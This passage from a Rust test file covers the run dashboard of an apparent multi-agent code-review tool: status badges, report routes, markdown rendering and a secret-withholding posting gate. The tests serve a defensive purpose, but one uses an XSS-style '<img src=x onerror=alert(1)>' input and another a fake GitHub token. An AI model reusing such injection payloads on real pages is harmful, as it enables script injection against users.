19504 |p| probe.borrow_mut().started_at(p),
19505 );
19506
19507 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19508 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19509 assert_eq!(rows.len(), 4);
19510 assert!(!rows[0].waiting && rows[1].waiting);
19511 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19512 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19513 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19514 assert_eq!(rows[1].superseded_by, None);
19515 }
19516
19517 #[test]
19518 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19519 let mut state = RunState::new(
19520 PathBuf::from("/repo/magi"),
19521 "main".to_owned(),
19522 "0123456789abcdef".to_owned(),
19523 "Review only".to_owned(),
19524 Config::default(),
19525 );
19526 state.id = "20260922-090200-dead".to_owned();
19527 state.status = RunStatus::Reviewing;
19528 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19529 .expect("serialize list row");
19530 assert_eq!(row["status"], "reviewing");
19531 assert_eq!(row["display_status"], "stale");
19532 assert_eq!(row["live"], "dead", "{row}");
19533 assert!(!row["done"].as_bool().unwrap());
19534 }
19535
19536 #[test]
19537 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19538 use crate::run::Liveness::{Dead, Live, Unknown};
19539 let mut state = RunState::new(
19540 PathBuf::from("/repo/magi"),
19541 "main".to_owned(),
19542 "abc".to_owned(),
19543 "Review only".to_owned(),
19544 Config::default(),
19545 );
19546 for (status, parked, node, waiting, live, expected) in [
19547 (
19548 RunStatus::Judging,
19549 true,
19550 "github-text",
19551 false,
19552 Dead,
19553 "parked",
19554 ),
19555 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19556 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19557 (
19558 RunStatus::Judging,
19559 true,
19560 "github-text",
19561 true,
19562 Dead,
19563 "waiting",
19564 ),
19565 (
19566 RunStatus::Judging,
19567 false,
19568 "github-text",
19569 true,
19570 Dead,
19571 "waiting",
19572 ),
19573 (
19574 RunStatus::Judging,
19575 false,
19576 "github-text",
19577 false,
19578 Dead,
19579 "stale",
19580 ),
19581 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19582 (RunStatus::Judging, true, "park", false, Live, "judging"),
19583 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19584 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19585 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19586 (
19587 RunStatus::Blocked,
19588 true,
19589 "github-text",
19590 true,
19591 Dead,
19592 "waiting",
19593 ),
19594 ] {
19595 state.status = status;
19596 state.parked = parked;
19597 state.events.clear();
19598 state.event(
19599 "park",
19600 "an earlier park does not determine the latest state",
19601 );
19602 state.event(node, "message is not used for classification");
19603 let summary = RunSummary::of(&state, waiting, live);
19604 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19605 assert_eq!(
19606 summary.display_status, expected,
19607 "{status:?}/{node}/{live:?}"
19608 );
19609 assert_eq!(detail.display_status, summary.display_status);
19610 assert_eq!(detail.waiting, summary.waiting);
19611 }
19612 state.status = RunStatus::Judging;
19613 state.parked = false;
19614 state.events.clear();
19615 assert_eq!(run_display_status(&state, false, Dead), "stale");
19616 }
19617
19618 #[test]
19619 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19620 use crate::run::Liveness::{Dead, Live, Unknown};
19621 let mut state = RunState::new(
19622 PathBuf::from("/repo/magi"),
19623 "main".to_owned(),
19624 "abc".to_owned(),
19625 "Badge".to_owned(),
19626 Config::default(),
19627 );
19628 for (status, waiting, live, superseded, expected) in [
19629 (RunStatus::Gating, false, Dead, false, "stale"),
19630 (RunStatus::Gating, false, Dead, true, "superseded"),
19631 (RunStatus::Gating, false, Unknown, true, "superseded"),
19632 (RunStatus::Gating, true, Dead, true, "superseded"),
19633 (RunStatus::Gating, true, Dead, false, "waiting"),
19634 (RunStatus::Gating, false, Unknown, false, "gating"),
19635 (RunStatus::Gating, false, Live, true, "gating"),
19636 (RunStatus::Gating, true, Live, true, "waiting"),
19637 (RunStatus::Merged, false, Dead, true, "merged"),
19638 (RunStatus::Blocked, false, Dead, true, "blocked"),
19639 ] {
19640 state.status = status;
19641 let display = run_display_status(&state, waiting, live);
19642 assert_eq!(
19643 run_badge_status(&state, &display, live, superseded),
19644 expected,
19645 "{status:?}/{live:?}/superseded={superseded}"
19646 );
19647 }
19648 }
19649
19650 #[test]
19651 fn summarize_and_detail_expose_badge_status() {
19652 use crate::run::Liveness::Dead;
19653 let mut state = RunState::new(
19654 PathBuf::from("/repo/magi"),
19655 "main".to_owned(),
19656 "abc".to_owned(),
19657 "Badge".to_owned(),
19658 Config::default(),
19659 );
19660 state.status = RunStatus::Gating;
19661 let none = HashSet::new();
19662 let id = state.id.clone();
19663 let mut by = HashMap::new();
19664 let rows = summarize(
19665 [state.clone()],
19666 &none,
19667 &none,
19668 &by,
19669 |_| Some(false),
19670 |_| None,
19671 );
19672 assert_eq!(rows[0].badge_status, rows[0].display_status);
19674 by.insert(id, "20260901-000000-913b".to_owned());
19675 let detail = RunDetailView::of(
19676 state.clone(),
19677 false,
19678 Dead,
19679 Some("913b".to_owned()),
19680 None,
19681 None,
19682 );
19683 assert_eq!(detail.badge_status, "superseded");
19684 let json = serde_json::to_value(&detail).unwrap();
19685 assert_eq!(json["badge_status"], "superseded");
19686 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19687 assert_eq!(detail.badge_status, "stale");
19688 }
19689
19690 #[tokio::test]
19691 async fn run_display_status_routes_share_the_open_question_store() {
19692 let f = Fixture::start().await;
19693 let id = "20260922-090200-abcd";
19694 write_run(&f.runs(), id, RunStatus::Judging);
19695 let mut state = read_run(&f.runs(), id).unwrap();
19696 state.parked = true;
19697 state.driver_exited = true;
19698 state.event("github-text", "waiting for the owner");
19699 state.save_under(f.home.path()).unwrap();
19700 let mut task = Task::new(
19701 "resumed task".to_owned(),
19702 "do it".to_owned(),
19703 PathBuf::from("/repo"),
19704 Source::Human,
19705 );
19706 task.runs = vec![id.to_owned(), id.to_owned()];
19707 f.queue().put(&mut task).unwrap();
19708 let store = f.questions();
19709 let mut q = Question::new(
19710 id.to_owned(),
19711 "github-text".to_owned(),
19712 "owner".to_owned(),
19713 "Approve the text?".to_owned(),
19714 String::new(),
19715 Vec::new(),
19716 );
19717 store.put(&mut q).unwrap();
19718 for expected in ["waiting", "parked"] {
19719 let list = f.get("/api/runs").await.json();
19720 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19721 assert_eq!(list[0]["display_status"], expected);
19722 assert_eq!(detail["display_status"], expected);
19723 assert_eq!(detail["waiting"], list[0]["waiting"]);
19724 assert_eq!(list[0]["badge_status"], expected);
19725 assert_eq!(detail["badge_status"], expected);
19726 assert!(list[0]["superseded_by"].is_null());
19727 assert!(detail["superseded_by"].is_null());
19728 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19729 let history = task_detail["history"].as_array().unwrap();
19730 assert_eq!(history.len(), 2);
19731 assert!(history[0]["badge"].is_null());
19732 assert_eq!(history[1]["badge"], expected);
19733 q.status = ask::QuestionStatus::Answered;
19734 store.put(&mut q).unwrap();
19735 }
19736 }
19737
19738 #[tokio::test]
19739 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19740 let f = Fixture::start().await;
19741 let id = "20260922-090200-abcd";
19742 write_run(&f.runs(), id, RunStatus::Judging);
19743 let mut state = read_run(&f.runs(), id).unwrap();
19744 state.parked = true;
19745 state.driver_exited = true;
19746 state.event("park", "stopped at a node boundary");
19747 state.save_under(f.home.path()).unwrap();
19748
19749 for expected in ["parked", "stale"] {
19750 let list = f.get("/api/runs").await.json();
19751 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19752 assert_eq!(list[0]["live"], "dead");
19753 assert_eq!(list[0]["display_status"], expected);
19754 assert_eq!(detail["display_status"], expected);
19755 state.parked = false;
19758 state.save_under(f.home.path()).unwrap();
19759 }
19760 }
19761
19762 #[tokio::test]
19763 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19764 let f = Fixture::start().await;
19765 for id in [
19766 "20260902-140501-aaaa",
19767 "20260902-140502-bbbb",
19768 "20260902-140503-cccc",
19769 ] {
19770 write_run(&f.runs(), id, RunStatus::Merged);
19771 }
19772
19773 let all = f.get("/api/runs").await.json();
19774 let capped = f.get("/api/runs?limit=2").await.json();
19775
19776 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19777 assert_eq!(all.as_array().map(Vec::len), Some(3));
19778 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19779 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19780 }
19781
19782 #[tokio::test]
19783 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19784 let f = Fixture::start().await;
19785 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19786
19787 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19788
19789 assert_eq!(res.status, 200);
19790 assert!(
19791 res.headers
19792 .contains("content-type: text/plain; charset=utf-8"),
19793 "a browser must render it, not download it: {}",
19794 res.headers
19795 );
19796 assert!(
19800 res.body.contains("20260902-140501-a1b2"),
19801 "the report is about the run that was asked for: {}",
19802 res.body
19803 );
19804 }
19805
19806 #[tokio::test]
19807 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19808 crate::run::pin_test_home();
19810 let f = Fixture::start().await;
19811 let id = "20260902-140501-a1b2";
19812 write_run(&f.runs(), id, RunStatus::Stalled);
19813 let path = f.runs().join(id).join("run.json");
19816 let mut v: serde_json::Value =
19817 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19818 v["tally"] = serde_json::json!({
19819 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19820 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19821 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19822 "met_quorum": false, "rankings": 1
19823 });
19824 v["reviews"] = serde_json::json!([{
19825 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19826 "e2e_deferred": true,
19827 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19828 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19829 ]}]
19830 }]);
19831 std::fs::write(&path, v.to_string()).unwrap();
19832 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19833 std::fs::write(
19834 f.runs().join("20260902-140502-dead").join("run.json"),
19835 "{not json",
19836 )
19837 .unwrap();
19838
19839 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19840
19841 assert_eq!(res.status, 200, "{}", res.body);
19842 assert!(res.headers.contains("content-type: application/json"));
19843 let j = res.json();
19844 assert_eq!(j["schema"], 1);
19845 assert_eq!(j["header"]["id"], id);
19846 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19847 let kinds: Vec<&str> = j["sections"]
19848 .as_array()
19849 .unwrap()
19850 .iter()
19851 .map(|s| s["kind"].as_str().unwrap())
19852 .collect();
19853 assert_eq!(kinds, ["candidates", "tally", "review"]);
19854 let tally = &j["sections"][1]["tally"];
19855 assert_eq!(
19856 (tally["decided"].clone(), tally["provisional"].clone()),
19857 (false.into(), true.into())
19858 );
19859 let round = &j["sections"][2]["rounds"][0];
19860 assert_eq!(round["e2e"]["state"], "deferred");
19861 assert_eq!(round["findings"][0]["severity"], "major");
19862 assert_eq!(round["findings"][0]["blocking"], true);
19863 assert_eq!(round["findings"][0]["state"], "open");
19864
19865 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19867
19868 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19870 assert_ne!(bad.status, 200, "{}", bad.body);
19871 assert_eq!(
19872 bad.status,
19873 f.get("/api/runs/20260902-140502-dead/report").await.status
19874 );
19875 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19876 assert_eq!(
19877 f.get("/api/runs/20260902-999999-ffff/report.json")
19878 .await
19879 .status,
19880 404
19881 );
19882 }
19883
19884 #[tokio::test]
19885 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19886 crate::run::pin_test_home();
19887 let f = Fixture::start().await;
19888 let id = "20260902-140503-delib";
19889 write_run(&f.runs(), id, RunStatus::Merged);
19890 let path = f.runs().join(id).join("run.json");
19891 let mut v: serde_json::Value =
19892 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19893 v["judgements"] = serde_json::json!([
19894 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19895 ]);
19896 v["tally"] = serde_json::json!({
19897 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19898 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19899 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19900 "met_quorum": true, "rankings": 1
19901 });
19902 v["deliberation"] = serde_json::json!([
19903 {
19904 "round": 1,
19905 "turns": [
19906 {
19907 "judge": 1,
19908 "agent": "judge-1",
19909 "body": "I prefer candidate **A** because it has cleaner tests.",
19910 "tentative": "A"
19911 }
19912 ]
19913 },
19914 {
19915 "round": 2,
19916 "turns": [
19917 {
19918 "judge": 1,
19919 "agent": "judge-1",
19920 "body": "Still thinking, no choice yet.",
19921 "tentative": null
19922 }
19923 ]
19924 }
19925 ]);
19926 std::fs::write(&path, v.to_string()).unwrap();
19927
19928 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19929 assert_eq!(res.status, 200, "{}", res.body);
19930 let j = res.json();
19931 let judging = j["sections"]
19932 .as_array()
19933 .unwrap()
19934 .iter()
19935 .find(|s| s["kind"] == "judging")
19936 .expect("judging section exists");
19937
19938 let delib_lines = judging["deliberation"].as_array().unwrap();
19940 assert_eq!(delib_lines.len(), 2);
19941 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19942 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19943
19944 let rounds = judging["rounds"].as_array().unwrap();
19946 assert_eq!(rounds.len(), 2);
19947 let r1_t0 = &rounds[0]["turns"][0];
19948 assert_eq!(r1_t0["judge"], 1);
19949 assert_eq!(r1_t0["agent"], "judge-1");
19950 assert_eq!(r1_t0["tentative"], "A");
19951 assert_eq!(
19952 r1_t0["body"],
19953 "I prefer candidate **A** because it has cleaner tests."
19954 );
19955 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19956
19957 let r2_t0 = &rounds[1]["turns"][0];
19958 assert_eq!(r2_t0["judge"], 1);
19959 assert_eq!(r2_t0["agent"], "judge-1");
19960 assert!(r2_t0["tentative"].is_null());
19961 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19962 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19963
19964 let id_empty = "20260902-140504-nodelib";
19966 write_run(&f.runs(), id_empty, RunStatus::Merged);
19967 let path_empty = f.runs().join(id_empty).join("run.json");
19968 let mut v_empty: serde_json::Value =
19969 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19970 v_empty["judgements"] = serde_json::json!([
19971 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19972 ]);
19973 v_empty["deliberation"] = serde_json::json!([]);
19974 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19975
19976 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19977 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19978 let j_empty = res_empty.json();
19979 let judging_empty = j_empty["sections"]
19980 .as_array()
19981 .unwrap()
19982 .iter()
19983 .find(|s| s["kind"] == "judging")
19984 .expect("judging section exists");
19985 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19986 }
19987
19988 #[tokio::test]
19989 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19990 let f = Fixture::start().await;
19991
19992 let html = f.get("/").await;
19993 let css = f.get("/app.css").await;
19994 let js = f.get("/app.js").await;
19995
19996 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19997 assert!(
19998 html.headers
19999 .contains("content-type: text/html; charset=utf-8")
20000 );
20001 assert!(css.headers.contains("content-type: text/css"));
20002 assert!(js.headers.contains("content-type: text/javascript"));
20003 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20004 }
20005
20006 #[test]
20007 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20008 let body = |name: &str| {
20009 let at = APP_JS
20010 .find(name)
20011 .unwrap_or_else(|| panic!("{name} missing"));
20012 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20013 };
20014 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20015 let note = body("function landRoundNote");
20016 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20017 assert!(note.contains("Land round ${round}"));
20018 let land = body("function renderLand");
20019 let note_at = land
20020 .find("landRoundNote(pr)")
20021 .expect("renderLand uses the note");
20022 assert!(
20023 note_at
20024 < land
20025 .find("roundRail(pr)")
20026 .expect("renderLand uses the rail")
20027 );
20028 }
20029
20030 #[test]
20031 fn the_runs_page_redesign_keeps_its_guards() {
20032 let body = |name: &str| {
20033 let at = APP_JS
20034 .find(name)
20035 .unwrap_or_else(|| panic!("{name} missing"));
20036 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20037 };
20038 let land = body("function renderLand");
20040 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20041 assert!(
20042 !land.contains("box.append("),
20043 "renderLand must use append()"
20044 );
20045 assert!(land.contains("append(box, ["));
20046 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20048 assert!(
20049 body("function applyRoute")
20050 .contains("route.name !== state.route.name || route.id !== state.route.id")
20051 );
20052 assert!(!APP_JS.contains("adviseConvergeDiagram"));
20054 assert!(!INDEX_HTML.contains("advise-converge"));
20055 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20056 assert!(APP_JS.contains("provisional"));
20057 for id in [
20058 "run-tab-overview",
20059 "run-tab-timeline",
20060 "run-tab-report",
20061 "run-report",
20062 "runs-scope",
20063 ] {
20064 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20065 }
20066 assert!(!INDEX_HTML.contains("runs-tree"));
20067 assert!(!INDEX_HTML.contains("run-raw-panel"));
20068 assert!(APP_JS.contains("resume"));
20070 assert!(APP_JS.contains("unreadable"));
20072 }
20073
20074 #[test]
20075 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20076 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20077 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20078 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
20079 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20080 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20081 assert!(APP_JS.contains("unreadable` : null"));
20083 }
20084
20085 #[test]
20086 fn blocked_run_detail_exposes_the_failed_gate_reason() {
20087 let mut state = RunState::new(
20088 "/repo".into(),
20089 "main".into(),
20090 "abc".into(),
20091 "task".into(),
20092 crate::config::Config::default(),
20093 );
20094 state.status = RunStatus::Blocked;
20095 state.gate_ran = true;
20096 state.gate.push(crate::run::CommandOutcome {
20097 command: "cargo make check".into(),
20098 code: Some(1),
20099 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20100 duration_ms: 0,
20101 resource_blocked: false,
20102 });
20103 let view = RunDetailView::of(
20104 state,
20105 false,
20106 crate::run::Liveness::Unknown,
20107 None,
20108 None,
20109 None,
20110 );
20111 let value = serde_json::to_value(view).unwrap();
20112 assert_eq!(
20113 value["stop_reason"],
20114 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20115 );
20116 }
20117
20118 #[test]
20119 fn the_run_detail_payload_says_whether_the_run_is_done() {
20120 for (status, done) in [
20122 (RunStatus::Superseded, true),
20123 (RunStatus::Blocked, true),
20124 (RunStatus::Landing, false),
20125 ] {
20126 let mut state = RunState::new(
20127 std::path::PathBuf::from("/repo"),
20128 "main".to_owned(),
20129 "abc".to_owned(),
20130 "x".to_owned(),
20131 crate::config::Config::default(),
20132 );
20133 state.status = status;
20134 let v = serde_json::to_value(RunDetailView::of(
20135 state,
20136 false,
20137 crate::run::Liveness::Unknown,
20138 None,
20139 None,
20140 None,
20141 ))
20142 .unwrap();
20143 assert_eq!(v["done"], done, "{status:?}");
20144 }
20145 }
20146
20147 fn has_strong(nodes: &[md::Node]) -> bool {
20149 serde_json::to_string(nodes).unwrap().contains("strong")
20150 }
20151
20152 #[test]
20153 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20154 let mut state = RunState::new(
20155 std::path::PathBuf::from("/repo"),
20156 "main".to_owned(),
20157 "abc".to_owned(),
20158 "x".to_owned(),
20159 crate::config::Config::default(),
20160 );
20161 let proposal = |approach: &str| {
20162 serde_json::json!({
20163 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20164 })
20165 };
20166 state.advice = Some(
20167 serde_json::from_value(serde_json::json!({
20168 "records": [
20169 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20170 "proposal": proposal("do **this**")},
20171 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20172 ],
20173 "synthesis": "- one\n- **two**\n\n`code`",
20174 }))
20175 .unwrap(),
20176 );
20177 state.candidates = serde_json::from_value(serde_json::json!([
20178 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20179 "summary": "did **it**"},
20180 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20181 ]))
20182 .unwrap();
20183 state.reviews = serde_json::from_value(serde_json::json!([{
20186 "round": 1, "head": "h",
20187 "reviews": [{
20188 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20189 "findings": [
20190 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20191 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20192 ],
20193 }],
20194 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20195 "fix": {"agent": "a", "notes": "fixed **it**",
20196 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20197 }, {"round": 2, "head": "h2", "reviews": []}]))
20198 .unwrap();
20199
20200 let v = serde_json::to_value(RunDetailView::of(
20201 state,
20202 false,
20203 crate::run::Liveness::Unknown,
20204 None,
20205 None,
20206 None,
20207 ))
20208 .unwrap();
20209
20210 let strong = |p: &str| {
20211 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20212 assert!(n.to_string().contains("strong"), "{p}: {n}");
20213 };
20214 strong("/advice_md/synthesis");
20215 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20216 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20217 strong("/advice_md/approaches/0");
20218 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20219 strong("/candidate_summaries_md/0");
20220 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20221 strong("/reviews_md/0/reviewers/0/summary");
20222 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20223 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20224 assert!(f[1].to_string().contains("strong"));
20225 strong("/reviews_md/0/reconsideration/0");
20226 strong("/reviews_md/0/fix/notes");
20227 strong("/reviews_md/0/fix/rejected/0");
20228 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20229 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20230 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20232 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20233 }
20234
20235 #[test]
20236 fn a_run_without_advice_has_no_advice_md() {
20237 let state = RunState::new(
20238 std::path::PathBuf::from("/repo"),
20239 "main".to_owned(),
20240 "abc".to_owned(),
20241 "x".to_owned(),
20242 crate::config::Config::default(),
20243 );
20244 let p = run_prose_md(&state);
20245 assert!(p.advice_md.is_none());
20246 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20247 }
20248
20249 #[test]
20250 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20251 let store = ask::Questions::at(PathBuf::from("unused"));
20252 let gt = crate::github_text::Withheld {
20253 title: false,
20254 body: true,
20255 categories: vec!["sensitive-data".into()],
20256 };
20257 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20258 let (detail, comparison) =
20259 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20260 let mut q = Question::new(
20261 "r".into(),
20262 "github-text".into(),
20263 "posting-gate".into(),
20264 "s".into(),
20265 detail,
20266 Vec::new(),
20267 );
20268 assert!(
20269 QuestionView::of(q.clone(), &store, None)
20270 .posting_view
20271 .is_none()
20272 );
20273 q.posting_comparison = Some(comparison);
20274 let view = QuestionView::of(q.clone(), &store, None);
20275 let field = &view.posting_view.unwrap().fields[0];
20276 assert_eq!(
20277 field
20278 .original
20279 .iter()
20280 .map(|f| f.text.as_str())
20281 .collect::<String>(),
20282 body
20283 );
20284 assert!(field.original[0].text.starts_with("<img"));
20285 let original_question: Question =
20286 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20287 assert_eq!(original_question, q);
20288 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20289 .original
20290 .start = 1;
20291 assert!(
20292 QuestionView::of(q.clone(), &store, None)
20293 .posting_view
20294 .is_none()
20295 );
20296 q.posting_comparison = original_question.posting_comparison;
20297 q.detail.push_str("extra context");
20298 assert!(
20299 QuestionView::of(q.clone(), &store, None)
20300 .posting_view
20301 .is_some()
20302 );
20303 q.detail.insert(0, 'x');
20304 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20305 }
20306
20307 #[test]
20308 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20309 let store = ask::Questions::at(PathBuf::from("unused"));
20310 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20311 let gt = crate::github_text::Withheld::from_check(
20312 &crate::github_text::check("fix: x", body),
20313 "fix: x",
20314 body,
20315 )
20316 .unwrap();
20317 let (detail, comparison) =
20318 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20319 let mut q = Question::new(
20320 "r".into(),
20321 "github-text".into(),
20322 "posting-gate".into(),
20323 "s".into(),
20324 detail,
20325 Vec::new(),
20326 );
20327 q.posting_comparison = Some(comparison);
20328 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20329 let field = &value["posting_view"]["fields"][0];
20330 let group = &field["replacement_group"];
20331 let triggers = group["triggers"].as_array().unwrap();
20332 assert_eq!(triggers.len(), 2);
20333 assert_ne!(triggers[0], triggers[1]);
20334 for id in triggers {
20335 assert!(
20336 field["original"]
20337 .as_array()
20338 .unwrap()
20339 .iter()
20340 .any(|f| &f["pair"] == id)
20341 );
20342 assert!(
20343 !field["changed"]
20344 .as_array()
20345 .unwrap()
20346 .iter()
20347 .any(|f| &f["pair"] == id)
20348 );
20349 }
20350 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20351 group["id"].as_u64().unwrap() as usize;
20352 assert!(
20353 QuestionView::of(q, &store, None).posting_view.is_none(),
20354 "group and trigger IDs cannot collide"
20355 );
20356 }
20357
20358 #[test]
20359 fn a_question_view_carries_markdown_for_each_thread_turn() {
20360 let home = TempDir::new().unwrap();
20361 let store = ask::Questions::at(home.path().join("questions"));
20362 let mut q = Question::new(
20363 "run".to_owned(),
20364 "implement".to_owned(),
20365 "impl-A".to_owned(),
20366 "which?".to_owned(),
20367 String::new(),
20368 Vec::new(),
20369 );
20370 q.say("plain words").unwrap();
20371 q.reply("use **this**", Vec::new()).unwrap();
20372 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20373 let bodies = &v["thread_bodies_md"];
20374 assert_eq!(bodies.as_array().unwrap().len(), 2);
20375 assert!(!bodies[0].to_string().contains("strong"));
20376 assert!(bodies[1].to_string().contains("strong"));
20377 }
20378
20379 #[test]
20380 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20381 let home = TempDir::new().unwrap();
20382 let store = ask::Questions::at(home.path().join("questions"));
20383 let mut q = Question::new(
20384 "run".to_owned(),
20385 "conduct".to_owned(),
20386 "conduct".to_owned(),
20387 "which?".to_owned(),
20388 String::new(),
20389 Vec::new(),
20390 );
20391 q.say("plain words").unwrap();
20392 q.thread.push(ask::Turn {
20393 who: ask::Who::Agent,
20394 body: "Settled as `merge`".to_owned(),
20395 at: jiff::Timestamp::now(),
20396 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20397 });
20398 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20399 let notes = &v["thread_notes_md"];
20400 assert_eq!(notes.as_array().unwrap().len(), 2);
20401 assert!(notes[0].is_null());
20402 let text = notes[1].to_string();
20403 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20404 assert!(APP_JS.contains("ask-turn-note"));
20405 }
20406
20407 #[test]
20408 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20409 assert!(APP_JS.contains("function landView(run, raw) {"));
20413 assert!(
20414 APP_JS.contains(
20415 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20416 )
20417 );
